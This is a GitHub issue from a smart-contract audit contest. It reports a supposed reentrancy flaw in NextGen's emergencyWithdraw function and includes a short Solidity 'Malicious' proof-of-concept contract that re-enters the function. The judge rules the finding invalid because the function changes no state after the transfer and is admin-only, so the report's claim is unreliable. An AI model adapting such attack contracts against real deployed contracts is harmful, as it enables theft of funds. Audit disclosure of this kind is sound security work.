Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Missing Reentry Protection in 'emergencyWithdraw' function #2020

Closed
c4-submissions opened this issue Nov 13, 2023 · 7 comments
Closed

Missing Reentry Protection in 'emergencyWithdraw' function #2020

c4-submissions opened this issue Nov 13, 2023 · 7 comments
Labels
2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value bug Something isn't working insufficient quality report This report is not of sufficient quality unsatisfactory does not satisfy C4 submission criteria; not eligible for awards

Comments

@c4-submissions
Copy link
Contributor

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/MinterContract.sol#L461

Vulnerability details

Ensure that all state changes in emergencyWithdraw are done before the external call to prevent reentrancy attacks. The function is vulnerable to reentrancy attacks due to the use of .call{value: balance}(""). This can be mitigated by adding a reentrancy guard.-

Poc:

contract Malicious {
    VulnerableContract public vulnerableContract;

    constructor(address _vulnerableContractAddress) {
        vulnerableContract = VulnerableContract(_vulnerableContractAddress);
    }

    // Fallback function used to receive Ether and re-enter emergencyWithdraw
    receive() external payable {
        if (address(vulnerableContract).balance >= msg.value) {
            vulnerableContract.emergencyWithdraw();
        }
    }

    function attack() external payable {
        require(msg.value > 0, "Send ETH to attack");
        vulnerableContract.emergencyWithdraw();
    }

    function withdraw() external {
        payable(msg.sender).transfer(address(this).balance);
    }
}

Assessed type

Reentrancy

@c4-submissions c4-submissions added 2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value bug Something isn't working labels Nov 13, 2023
c4-submissions added a commit that referenced this issue Nov 13, 2023
@c4-pre-sort
Copy link

141345 marked the issue as duplicate of #2039

@c4-pre-sort
Copy link

141345 marked the issue as duplicate of #51

@c4-pre-sort
Copy link

141345 marked the issue as not a duplicate

@c4-pre-sort c4-pre-sort reopened this Nov 21, 2023
@c4-pre-sort c4-pre-sort added insufficient quality report This report is not of sufficient quality and removed duplicate-51 labels Nov 21, 2023
@c4-pre-sort
Copy link

141345 marked the issue as insufficient quality report

@141345
Copy link

141345 commented Nov 21, 2023

admin func

@alex-ppg
Copy link

alex-ppg commented Dec 4, 2023

The Warden specifies that either a re-entrancy protection measure or the CEI pattern should be followed in the emergency function referenced, however, the emergency function does not perform any state changes (apart from an event's emission) after the native transfer and its behaviour cannot be influenced by a re-entrancy. As such, I consider this exhibit invalid.

@c4-judge c4-judge closed this as completed Dec 4, 2023
@c4-judge c4-judge added the unsatisfactory does not satisfy C4 submission criteria; not eligible for awards label Dec 4, 2023
@c4-judge
Copy link

c4-judge commented Dec 4, 2023

alex-ppg marked the issue as unsatisfactory:
Invalid

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value bug Something isn't working insufficient quality report This report is not of sufficient quality unsatisfactory does not satisfy C4 submission criteria; not eligible for awards
Projects
None yet
Development

No branches or pull requests

5 participants